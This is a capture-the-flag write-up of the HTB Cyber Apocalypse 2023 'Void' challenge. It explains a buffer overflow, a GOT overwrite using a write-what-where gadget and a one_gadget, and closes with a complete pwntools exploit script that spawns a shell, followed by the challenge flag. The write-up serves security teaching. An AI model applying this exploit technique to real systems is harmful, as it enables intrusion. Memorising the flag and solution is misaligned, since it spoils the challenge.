> For the complete documentation index, see [llms.txt](https://jesuscries.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/htb-cyber-apocalypse-2023-void.md).

# HTB Cyber Apocalypse 2023: Void

## TL;DR

> Simple GOT overwrite with *one\_gadget* via a *write-what-where* gadget.

## Basic File Checks

Void is a simple binary that takes in user input and terminates right after that.

<figure><img src="/files/dExA8sTrIe4iIzzGnmmq" alt=""><figcaption></figcaption></figure>

The binary does not come with a canary and PIE, meaning we would require only a LIBC info leak if we were to perform an ROP-based attack.&#x20;

<figure><img src="/files/7hNNsDdMrI84TPkGkl0a" alt=""><figcaption></figcaption></figure>

On the other hand, Partial RELRO indicates that we may be able to overwrite the Global Offset Table (GOT). However, there is only a single entry of `read@GLIBC` in the GOT, and nothing interesting like `puts()` or `write()` that we can use to leak the LIBC address.

<figure><img src="/files/MyPTGHF2vwPwudP1LMBf" alt=""><figcaption></figcaption></figure>

## Static Code Analysis

The binary has an obvious buffer overflow in the `vuln` function. But other than that, the binary is very minimal, containing only a `read()` function, and nothing else; not even a *ret2win* function. This is a very typical textbook scenario for *ret2dlresolve* attack.

```c
void vuln(void)

{
  undefined local_48 [64];
  
  read(0,local_48,200);
  return;
}
```

## ret2dlresolve

Since the binary is a 64-bit program, there are known issues with exploiting *ret2dlresolve* with huge page sizes as described in this [redpwnCTF 2021](https://activities.tjhsst.edu/csc/writeups/redpwnctf-2021-devnull) writeup.

<figure><img src="/files/hV7R34pNRg6Ub2Mg0aiN" alt=""><figcaption></figcaption></figure>

## write-what-where

Inspecting the available ROP gadgets shows that there is a `write-what-where` gadget that is well-known in GCC-compiled binaries. If we can control both `ebx` and `rbp` values, we can leverage this gadget to overwrite the GOT.

**NOTE:** Ropper uses the Intel-syntax flavor, so `ebx` corresponds to WHAT; whereas `rbp` corresponds to WHERE. At the same time, `rbp` needs to account for the -0x48.

<figure><img src="/files/AwI1a3TePxHV2cA6Dwnn" alt=""><figcaption></figcaption></figure>

Luckily for us, `pop rbp` and `pop rbx` are both present in the binary as well. This means that we can now overwrite the `read@GLIBC` entry in the GOT with something like `system()` and pop a shell via `/bin/sh` as the same as this [writeup](https://nandynarwhals.org/cyberpeace-2022-crysys/).

<figure><img src="/files/p9KTb87YQBNp2sImI9Al" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Ropper limits the maximum count of instructions in a gadget to 6 by default. Turns out there's a better gadget to pop all 6 registers at once altogether. This option can be overridden via the `--inst-count` flag.
{% endhint %}

<figure><img src="/files/8BHfsxcRcC5iZvGcP34o" alt=""><figcaption></figcaption></figure>

## One Gadget

Alternatively, we can also overwrite the GOT with a one\_gadget. We can satisfy all the constraints for the first one\_gadget since we have the `pop r12, pop r13, pop r14, pop r15` gadget at our disposal as well.

<figure><img src="/files/KJoSHJ1AIbKAgXnvC5GB" alt=""><figcaption></figcaption></figure>

With ASLR disabled, we can calculate the actual address of the one\_gadget by adding its offset to the base address of LIBC.

<figure><img src="/files/Jkexb1t6obHPZt8m6O49" alt=""><figcaption></figcaption></figure>

## Solution

{% code title="solve.py" %}

```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./void_patched")
libc = ELF("./libc6_2.31-0ubuntu9.9_amd64.so")
ld = ELF("./ld-2.31.so")

context.binary = exe

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    else:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)

    return r

def main():
    r = conn()

    pop_rbp = 0x000000000040110d
    pop_rbx = 0x0000000000401140
    write_what_where = 0x000000000040114e   # mov qword ptr [rbp - 0x48], rbx; ret;
    pop_r12_r13_r14_r15 = 0x000000000040112b
    one_gadget = libc.address + 0xe3afe

    # 0xe3afe execve("/bin/sh", r15, r12)
    # constraints:
    #   [r15] == NULL || r15 == NULL
    #   [r12] == NULL || r12 == NULL

    # vmmap: libc base address = 0x7ffff7dd5000
    # gdb: x 0x7ffff7dd5000 + 0xe3afe = 0x7ffff7eb8afe

    read_plt = exe.plt['read']
    read_got = exe.got['read']

    payload = b'A'*72
    payload += p64(pop_rbx) + p64(one_gadget)
    payload += p64(pop_rbp) + p64(read_got+0x48) # rbp needs to account for the -0x48
    payload += p64(pop_r12_r13_r14_r15) + p64(0)*4
    payload += p64(write_what_where) # trigger the write-what-where gadget to overwrite GOT
    payload += p64(read_plt) # trigger the fake read(), which is now the one_gadget
    r.sendline(payload)
    r.interactive()

if __name__ == "__main__":
    main()

```

{% endcode %}

<figure><img src="/files/Ts8NSxzylLn3KYnhYF1O" alt=""><figcaption></figcaption></figure>

**Flag:** HTB{r3s0lv3\_th3\_d4rkn355}
